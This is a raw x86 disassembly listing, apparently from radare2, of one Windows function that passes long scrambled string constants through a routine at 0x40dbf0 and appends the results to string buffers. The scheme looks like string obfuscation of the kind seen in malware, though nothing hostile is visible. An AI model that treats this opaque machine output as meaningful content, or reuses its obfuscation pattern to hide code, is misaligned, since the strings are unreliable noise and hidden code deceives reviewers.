mov ecx, str.HRVccccckqv_0_FPWfkp_4:_BIW_bn_33_GOmo_3___FLSTY_lv_7_LWW_gghkquu2AMM_bkou__7FFP__admnv_8_AAKLZcfox_1_ADSXYannqx__0FHVbmqsy__29GN_lz2_BNP_bfq_0CEEKM_iv_2DLUUcltx16::AGLWcr_19GIW_lw__2ILUVgmv1_LNPZino___2AN____bfgmpqvz.___IRZdr__6BJRX_jsy_____044AKSV__anru237_
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a8ed
xor ecx, ecx
jmp 0x40a901
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a8f2
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xee0]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xec8]
call fcn.00408080
mov ecx, str.NVX_____fhhrsw__CLNW_cgqr__5:HVVW_l_6_AHNWdiuvx_0BHNNVclp_3__CO_fsz_1_JN_cgoz_03_JU_jjoo_0_HRY___hmrv___26_EKVcmqx___IVYZ__gmppu___4__DKZgmuy__7_HOOhn_9_KWbcqy_09__KWcns_8GIWestw_1_AHOTYgtv4_EPX_ly_02LP_clz7_LXYcckooz__1____GLRS_an_9_NX___bq__2AMQThjoox__57_FGKT_jmyy_3_JM_bps______HLZ_lvw8DFSV_ailqqt..__HIVdr__3__JV_kx__05__CRWcix_3BMNYabm_3_FN_lty_1124JUmy_346DGJNNOX__io5ALLNXgr__26_IMNOVdjkw__4CFU_bbes_______JWcr___CFMUWiitx_6LYgo.47BIVeet2259GKZitz__4_HMYemoqt___6:_GGOU_o178FU_hny_2_EQXYYabnrx__2_AENOSchq_1KUXY_emuwy__14_EGMUdm_6_GRRTbgklw_6_ISborz___FKSakz___BIIRiilx____.__EQTgq__8_BQU_
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x1034]
call fcn.0040ccd0
add esp, 4
mov ecx, str.MNN______klrsu_.248:__IXeouv_0_MTV_jvy_28CDRSS_cimyz_4:DP_aabhhkq_06_FN_kz69_JLSW_jq__366_KOWaaeirvw_7FPS_gv___.48:__LMZ_dimqu3:KOV_gq_6_BPRX_lpw__4AGRSVait_13_AJKUU_hnz6__ER_goq__5_GOPQVjnr__9ERTT_dkqv__7CGSYYejpu__0_LRUaapqr_:IKWajx__0GQR__bbmrru_24_JVapy__.:FQUW_my__9BQ__jtww___2_EOOXX_afnz____ITdqs__5BHVWcnw__35BFOSTXflw_1458EIQ_fky__48BN_epuy__4CLZdsz_2588_GLSTcgruz__47_FQS_chssz..:DGHHLTY_jpvz_7EKNQ_iry__8_KNPRV__mqv____25AAPXbjntxz34_GMRTadix_.2_FHMO_hw__:_KYer__26ET_hsw___07_ADR_dilw6_AOggox_6_JT_hnuy3KTV__mnouuw55BNQ_ans.9_GTWadmm8BN__djly__0059EEORXer_09GU_jm___DSWfiw__29_BFJYcgqy_13BHU_adkqqu_14_JV_ghw0BCEMQ_ghry_15_ELZgglww_068BKMUanz_4:IPW_cggux7_LM
mov byte [ebp - 4], 0x15
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a95d
xor ecx, ecx
jmp 0x40a971
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a962
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.HQUdddddhu_359__GISYgllq_4___BGMS_lz23_BJYgt_.:__JSXckst03_CFNXbjx_23_BNWXXX_bhq____JOOX_eelq_7_BO_fty679:CKLQWfs.2LVXcgox___:DDNXflw.7_BMY_cop_01_IO__fr_.15CCQUW__nz_58AOZbjr_3INT_agsv_048GVix___.__JJVcpz_58_BNS_dq__._47DJYYffr_6_EHLMNNOSSdiopy__.4_DGQ_dn__8FLLOOR_fn_29_MXY__bfs._9_LSS_fluyz_6BIX_cku__.9CDGTakqw___7_DMPVZ_ers_2_BDGGNW_jnw_57DR_aeht_8DGQYY_hp_5_DRYfow_68BFOSalop___77CLWZcpqz_07_IRabggp___37_IVdkt_5__DJS_jv_09HLPUmu_38_CIXeitw4_DFMOTY_nvv.46__CRSY_glp__04_BESX_ikw__99AKOY_nrv_35DNY_fmr_0__BL_hkors_147BQSY_aakls07___GTVejpz__578BLY_afkp_5_HJUmor___FNY_ntz_1_KQY_ky_99__IOgnpr_00_EQZZbhjjp577_JY__dfm_7CITbjs_55CKTbfjnqw_0_IP_gky_3_FRXYehkx
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a994
xor ecx, ecx
jmp 0x40a9af
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a9a0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.HVZ_____epw5HHQcdmxxx__1_CGGQR_hhlw__5DR_ouv_..679CHLZgiijmv_..3__KT_ahimtx_4BBFIVjlm_7_ACJR_kxx__:_NZfjuu_79_GMMU_ahjm__0:ELPTfhu_44:HPY__ix_._6ENP_apx1_GT_bqu__37_KUZaddmx_45_HQ_mmsx__.4CFQZdqu__349BKUYbfmpqx__39DNRT_aabdgkpu_019EFOkuz____7_HR__krs_2_GN_ciry_2_DOSadp5DHT_fgsz__0357_JXfgru_5:EJTTajty_148FQQW__hrz069_BFRR_kx3BNQT_dks__.3_HT_hns16__GUcjy__4:_DP_cn__8GQ_gny_8_KNRUcdrttv_2_DFJUaesz_JLMUVWbpxzz____AGUflllx_6___JLL_gjvy00_N__gn.9AGMWfjp_4_JSSU_fs____4COOWdjty_6:IIKXgmyy__55ADLYbfmq_0__DQUVYeq___13BLZggot___29GUX_ghky_2AEQ_ahw__29:ANYboz_347FQRUdp__99ELL_ems__4IXfq__5CEOQks_07AMPlrux__7_HNS_hhix__06EFHQ_ivv_5__ENNhkt_58_HVdnx_6DR_diuw__06EIJXX__lrv.9HQRSVWfr__
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40a9d2
xor ecx, ecx
jmp 0x40a9e6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40a9d7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.CRVeeeeehmt57AIVdir__36BBHJPYhjlr__7:GTisx_5CKY_kp____6DFIMXaipx_5CMPS_hu__8CFPPWcfoqx_339BEQR_bjqu__DGHMQW_eipx__:IJSVely__.9ADNOSbclpqw_0__CMSSVbky_33_IQ___dov_.36:IJNOSahhhly67_DHKOijlqz__25AEER_emmo____5CJYgkuy_4_FGVbcdgiu_3AMR_cmrs___3_CQV_fgr____FFPRVjvyz_:___CFFTVclnv5:DHO__dssy_2_BDSV_io__GGHVVdjy_5DJY_iilnx58_ET__eis_1__ABFHVX__myy_28__NUap_7:CIXXdep_1:__FNYhqqr258_INPUdm:IVeq___5_GVinw_..09_BPZ_fjpz_4_DKUbms_3_DHO_kpy___7__IPTan..48EJN_kqv__4:_AIXmt_1_AAOeehkoqqqt_3ANRXboozz55CRT_blmt_HRX_ntx.:_FIN_diw17DOUZilv__.1_FJXbejkr39_NT_adgirtw_149_CHMYYYZ_hjs__:GR__bq__026AGNUUaadehv5BFLVccnnx__7FHPV_ahu1_FLSbhlq_.3:BQX_kx_8CIN__jt__3:_LV_owy_7_IXYes__59INYejovw_144_
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40aa09
xor ecx, ecx
jmp 0x40aa1f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aa10
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.IVVgjx____OUZ_gkr___9_MRU_nz3:_ER_jw__GHVetx___28_AEMVbix___78:CRVannoz__.4_HLYdlpptu__059BIUU_lrux___FJUm__8:ESTadsw2_MZegt_038BKTijpttty7EIIX_eegpps_5JTVinqy_5_FJQRVXfntu_5__KLXX_bnru___34_ADLVWY_jt_.79EGT_juw57_ANOUVYggp___6_BPSTWckt_1_KRSXZ_eku_1_KXgssxx_._____CLNchhv_.5_GQSVY_fkx_7JJNYcpy__FJNWhjqs____DHLYep___3BFKLNUco_06_GKUXbdflx__4_MYZcou_6_CQRXdr__6_KNYcdry7_IKRW_ep_66BBFNgoz__257DIX_et_0DS_fikrr_.2AAKMTdlmr__3_IQR__bmu__.:___JTmxx___8EFMVegiinsz__.BMNQ_deow___58LQY__kqw_2:AHHKQ_gr__4__ITclnorv49AORSWbnnpv__3_JPVam_4_GQQWXbcow__.06_KLVamt_6_MZ_cpy_____BNZaggjs_0_DJQjqtx___23BEMZhnyy__11_BKLMQ_dgrt_.3357BCCOY_aop_._5IRky__4__HT_giow_3
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40aa42
xor ecx, ecx
jmp 0x40aa56
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aa47
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.IINRRRRR_fhs67_GVeoq___3__NPXaft_..9_HHPRXgorw___09HPVbms___1GHN_hst___2489_AOet_.4_DJW_n_15__GSU__dnt___5:HVeqr___2AP_jv__0_FLW_kqsuy_5BFGHNRYet__6:_FGPadoy025CO_hrrw_00IQZ__cpq____117__CNTY_kx_3AHW__jjt__48DNXckrz2:LMTafjnz044CPW_grv4477CPSTXZdhiu_9JXfgv__2_COeo9HSUWkuy_____4ADDR_itt___:AEHJLTUV_iu___3:__KPR__bglw__058BEN_ber.:BFQR_mz____7DRXads.118_DHNZbopy__4BLZbkx_6_FGMQ_foz___7ALMQ_hio__9CR__ccfpr_.__
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40aa79
xor ecx, ecx
jmp 0x40aa8f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aa80
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.JPUcio__5_AO_er_5_DHR__et__CHHNWbcors_47AIIN_ahsw_22_GUXY_lvvv_4_IWelt_6AHVdhwxy02_HNefglvy_2_BNWYYhss.6ENR_iw_89HPQRUXabo_49:_IXdm_3:_NRYbopz__36_NUbnpr_____GTijx_3:CFIMVbeo__6_CM__luww_7BNNRagmwx_29___JSaou5BLUXYgu_0EL_bkkls__1__BEIISagv_1_DQR_bnsx_5___GOdq__8GNNT_dlw.33799GSW_cfnr_3_KKNRdoot_48:_CEIX_ftwy_3_KOVddnquz__GQeooqv__6AFO__lrt_._GUchsx____78EOZghsx_5BGLZ_acp8BEMUW_ikr_9AERTZint_9AP_djv_2477AITVX_kz__CKMQjp26:__JSVit__2__BLPQWYgqu__:AJLSWfmu.:AN_gp0_LVijp__5:ALXbdms_247EMN_kqr_09FTWYZeqww_5DEKSY__cow24_JVbbmnw___5__GS_jlm_2_ET__almuv__1__NY_gkww___BCJNUluu6__DDLS_dgqszz_28_Mgv___6_LQ_jsz0___BPX_m36ALLST_gir_8BKQ_cky1_HJNVms___158GHWfrx__2AGGHPZ_lz___0399GMVXXX_hhtu6_MRVap_..07_FUdopqu___8_
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40aab2
xor ecx, ecx
jmp 0x40aac6
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aab7
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.OQUZZZZZdeiiimvv_9FT__cknps19_BMW_cr_.9GINSVZhlu__377EGQV_bcimp_._HJOPS__bgsz_5ADLVWW_hjp__3HNX_gox_5AIQY_acflr18_DGGV_lx_29_GU_mx_.5DJRam_..._JQ_fkqu___:BCIRku34ALNTchr_038:AEEIKMZ_ix__7_IMXbpv__39GKLLYhsv_0:BOQTTT_akqx_3_AGOS__mx__18_IPRfpvw_2_DDDPhlz___39_NOZbdis_1__AIUdnx_147_HQSV_hoz_5__AJSS_dijw_4CERUWamq_8_BBGJLQ_cquz_4_AO_abbmx_1__DRX__lxx___:__FGHQ_aggv___3BDQTaacpy_4_BEJR__fl_1_DHOOZaot_:CCJSTWdjvx_.6__LR_kz_027BFGS_ortz_3BN__hmv89FLUU___dq_._CDELSUdkv_._KXan0__APWW_etv__3KYhw__.18EPTV_cfnwwwz_3BHLLXclv__:FFORRR___lr_..0_FSW_jky368GTjux_48_GJTXZ_hpv1_CHQ_fs__09::_KYZ_cgjw0KUZfjjw_:BQWfkw2466BEFRUccgoy2_CHRap_____IKZ_nnvvy__56CEPW_fir.8AGIJNUcpz_199BLWfr__278AMXfr_8CHNU_nzz_0_MPgrv5:_DOST_o
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40aae9
xor ecx, ecx
jmp 0x40aaff
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40aaf0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.BBHOOOOO_lw_088_GQU_hhklo__18_JU_cku_2AEHIIKYds__8_FT_ekv_.1__GVYegqs__2_NSWffppu48DMZaguz0:CGQU_bqrx5__CJYcpw___HQ_gjw__1:_LSW_nq_.9AMTZfmy_1_IT_jjps__0077:_OR_cfijnw6AMiv_6AJSXZ_jjvz_3_DFJJR_hq__.0_LY_jpqz_8_CHNZitt_137AFUXgmox____:ESaahm_3ALVadop_9ADR_ou__1_ABNTT_imu____6_DMS_hjq__5__HPWYcppv__77DNXcjo__3:FQVceq_89__IJMXZ__jqssz7FKXdqq_15_LY_er_6_GNYcchqwz_8BLUXcjkmqy__123__CCGQhis____19FIIV_dhrst___78_HPRYhv46AIRX_kv__3_JQ_ffsy_0:GKZgo___0_AN___bny___36:DNRRgqr______HQ_iss___IQ_kz49_MQW_ejy_IQS_eoqz_.39CDQZeru58EEHRX_aceejpq_157_DHSX_kuu__66BESU_loty__9GPZ__bkoqz_5JVYes.KTlu_58GKZ_bjknu___8EILWZ_grs_4_DGQV_cgv__.FGRhlmpr__09BFQQ__glmu8__JMN_iq__.39ANRVeempp__3_MR_lu_3:____BDNXanr
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40ab22
xor ecx, ecx
jmp 0x40ab36
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ab27
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
mov ecx, str.GJQ_____bfppv3GLQXflqvz_.69:_CQ_dptu_1:_KLQZ_alstz_1:CR_fnty___68_HNZZdep_67EJNQXjx_1::ALZ_bcjr_133AKRR_ht__3_FScer___5CKXfrz_:ISZZ_ls_0__ACCLLLNZdsv_0_ABQTTcfq__68DQ_co__7_AHLRYcp2:FLTbnot_399BIV_cnsw___09HNOOQSbbkw_7_IQTcq_5CERVV_nz__2__AAEGRUesy____4BKM__anz___:__GJJVXgmz_.7:LTUdmqs_.IU_a
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40ab59
xor ecx, ecx
jmp 0x40ab6f
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ab60
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x1034]
call fcn.00406f40
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x14], 7
cmp dword [ecx + 0x14], 8
mov dword [ecx + 0x10], 0
jb 0x40aba7
mov eax, dword [ecx]
jmp 0x40aba9
mov eax, ecx
xor edx, edx
push 0xffffffffffffffff
mov word [eax], dx
lea eax, [ebp - 0x1034]
push edx
push eax
call fcn.00408080
lea ecx, [ebp - 0x1574]
call fcn.00403620
add esp, 0x18
mov esi, eax
lea eax, [ebp - 0xfbc]
cmp eax, esi
je 0x40ac1e
mov eax, dword [ebp - 0xfa8]
cmp eax, 8
jb 0x40abf5
inc eax
lea ecx, [ebp - 0xfbc]
push eax
push dword [ebp - 0xfbc]
call fcn.00407f00
xor eax, eax
mov dword [ebp - 0xfa8], 7
push esi
lea ecx, [ebp - 0xfbc]
mov dword [ebp - 0xfac], 0
mov word [ebp - 0xfbc], ax
call fcn.00407070
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0x1560]
cmp eax, 8
jb 0x40ac40
inc eax
lea ecx, [ebp - 0x1574]
push eax
push dword [ebp - 0x1574]
call fcn.00407f00
mov ecx, str.LTUUUUUUV_glw___1_AAP_iw_59HVYY_mmnort__08AEFR_egp.8AIQQSV_foyz_2:BEEP_fgiww5AKSXdflr_56_LQSXajlt_09ACCPUdfiny_____58_BBGNhw1_DDKU__mst._FM__fov__7_EMMMWens_.2:_HMNSSZ_hmy_22:_ABCCIU__mpu3_DJV_hkmooz_3BDKTWZmsv_25_BGMMOO_aht_6_DSbgru__6__INS_dftw__0_APQS_bipx27BNW
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40ac56
xor ecx, ecx
jmp 0x40ac6f
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ac60
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0xeb0]
call fcn.00406e40
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0xfbc]
push eax
lea ecx, [ebp - 0xe98]
call fcn.00408080
mov ecx, str.LZ________ccr_1LNTZ_admuwxx__29_FNPQRTap_1_BP_luyz6CN_blq___7DGGOS__bdku__39___LXcktz_8CPST_lv___89HHUZ__kz__248:FPZbeeiv_27ADFKZefgt_49DRXguw__2FJN__jm:GLTYchuw___:BNXaffnzz___3DIMjn3_HQW_dp5DNZeimmt___2HR_jw__09AJSVZcmx__28:_GV_nru__.__AFQZht__:EEPSW_dfp07_FR_gmsww_0__HIOWapsx28GGTckp:IKMZaou_29_JQ_jjlw___.6ESahw8_HJMU_fiuz_48DDDEN___nq:DSYgju5_JP_hnquz___JP_grx__39ALYgjy_9_EJYekqr__3__AMZcett_3_IPVW_cq_7_ILOTbpry..8_ERUht__JXdox_5CKT_aksy06_AIVbds_5DMWeffssz_19_KMjjpy_1
call fcn.0040dbf0
push eax
lea edx, [ebp - 0xfd4]
lea ecx, [ebp - 0x104c]
call fcn.0040ccd0
add esp, 4
mov ecx, str.GGLUUUUUZilxz__89_KUcps_8AISfqt__1_HU_hkklmz__35DNX_jksvy8KWbox_6__MW_ns__2APTZbmx___7AESUU__jlz_2_LUV_des_3_CIJYadijmrx___49FMOPPUVky_15:IIW_amn_9DNV_ioz56_JMR_gop._EHOUVi
mov byte [ebp - 4], 0x17
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40accb
xor ecx, ecx
jmp 0x40acdf
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40acd0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x104c]
call fcn.00406f40
mov ecx, str.FUWXXXXXbq__9_BDGQcekv__79FKKX_iqqsww___:IKOY_fmm_8_ILSYdlpsx.KZcenoor.7FJKUajq_.KQdjl_1__JUlu__4:EPU_jv__9CRRRSbn_6EEIRSafhkkw__6AFQRYbgn__127_DJKLRVX_ccijtuy2_KX_aaglp_..78FMMSbksw__1257FFLY_ims_.14_EOS_fllyz__3HReqrwx.68_GO_fkz.6_HNWZ_cnq_.::CM_fpqz____JLYdks_0_LZhpx___35BHM_jww6_BBKLQZgo117BHOQQ_l_0:FPZfow_6DILNR_dp__3BIMVXZZ_eisvy_8DLP_nps_59CQRUY_nz_9:GJVX_anqz_5_CP_iw0_KPY_ht___07_OX_bqt_36668BIJLNPXaaaitw_5__M_ds___56_BO__lmmrs_3KO_aftw__4ALMPY_oo_034LLX_jy_2469AEOSamqr_.25BGGNUUUkny_0127CNRS_emr.:EQU___bfnw_1_ENPRT_jlnqvw_35:CDDKUUW_acix__279_GIL_cmw16BPV_bjv_48:ENO__isu__13:_JOYcops_07_IT_iv0
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40ad02
xor ecx, ecx
jmp 0x40ad16
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40ad07
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x104c]
call fcn.00406f40
mov ecx, str.BKKLLLLLMR__ciny2_KNPP_bfjpy_.34EQQQXku_5_IILLWiw29HOS_iu.:EOSVVY_adqv__CISSemny___55__KZahjr_01_GGMYiix2_CISjw__
call fcn.0040dbf0
mov edx, eax
cmp word [edx], 0
jne 0x40ad39
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040de0d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret